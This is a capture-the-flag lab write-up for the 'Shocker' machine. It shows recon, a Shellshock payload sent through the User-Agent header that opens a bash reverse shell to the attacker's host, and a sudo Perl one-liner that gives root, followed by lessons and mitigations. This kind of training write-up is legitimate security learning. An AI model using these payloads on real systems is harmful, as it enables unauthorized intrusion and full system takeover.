Shocker
shellshock through /cgi-bin/, then a one-line perl sudo to root.
TL;DR
Apache CGI on this box is still wired to Bash. Send a Shellshock payload in the User-Agent header and you get a shell as shelly. That user can run Perl as root without a password, and Perl can spawn a shell. That’s the whole machine.
Recon
Usual nmap to start:
nmap -sV -sC -p- -T4 10.10.10.56
Two ports open. 80/tcp running Apache 2.4.18 and 2222/tcp running OpenSSH 7.2p2. SSH on a non-default port means somebody changed something. Not actionable yet, just noted.
Port 80 serves the default Apache “It works!” page. View-source: nothing. Gobuster against the root finds nothing useful. But the box is named Shocker, so:
gobuster dir -u http://10.10.10.56 \
-w /usr/share/seclists/Discovery/Web-Content/common.txt -x sh,cgi
/cgi-bin/user.sh returns 200. Curl it and you get “Just an uptime test script” followed by the output of uptime. So Apache is executing a Bash CGI script for us on demand. It’s 2017 on this box. That’s a tell.
Initial access
Shellshock (CVE-2014-6271) is the obvious play. Bash up through a certain patch level parses trailing code after function definitions when it imports environment variables. Apache passes the User-Agent header into the CGI environment as HTTP_USER_AGENT. If the value is () { :; }; <command>, the command runs as the Apache user the moment Bash starts.
Netcat listener on the attacker box:
nc -lvnp 4444
Then the payload, via curl:
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' \
http://10.10.10.56/cgi-bin/user.sh
Callback. Shell as shelly. User flag is in /home/shelly/. Quick id, uname -a, cat /etc/os-release to take notes: Ubuntu 16.04, kernel 4.4.x. Fine.
Privesc
First thing on any foothold:
sudo -l
Response:
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
Perl is sudoers NOPASSWD. You know what that means. GTFOBins has the one-liner:
sudo perl -e 'exec "/bin/bash";'
Root shell. Flag in /root/. Done.
Lessons
Things I wrote down after this one:
-
Shellshock isn’t dead just because it’s old. Anywhere Bash gets invoked to handle a request (CGI, shell-script webhooks, certain git hosting configs), it’s worth a poke. Costs nothing to try.
-
sudo -lfirst. Before linpeas, before LSE, before any enumeration. Takes a second and resolves more boxes than it has any right to. -
Interpreters in sudoers are not a privilege boundary. If
perl,python,ruby,vim,less, orfindis sudoers-allowed for a user, that user is root. GTFOBins documents this for everything common. -
[YOU FILL THIS ONE IN — one personal or unresolved item. A mistake you actually made on this solve, or a question still bugging you. One sentence is enough.]
Mitigations
If I were patching this box:
-
Update Bash. The Shellshock CVEs have had patches since September 2014. If a system is still vulnerable in 2017, the system isn’t being updated. That’s a process problem, not a config problem.
-
Stop using Bash CGI. Any modern application server is safer than letting Apache exec Bash on every request. If it has to be CGI, write it in a language that doesn’t interpret environment variables as code.
-
Sudoers should reference scripts, not interpreters. If
shellygenuinely needs to run a specific Perl script as root, the entry should be/usr/bin/perl /opt/scripts/uptime.pl, not/usr/bin/perlopen-ended. Or skip sudo entirely and use file permissions.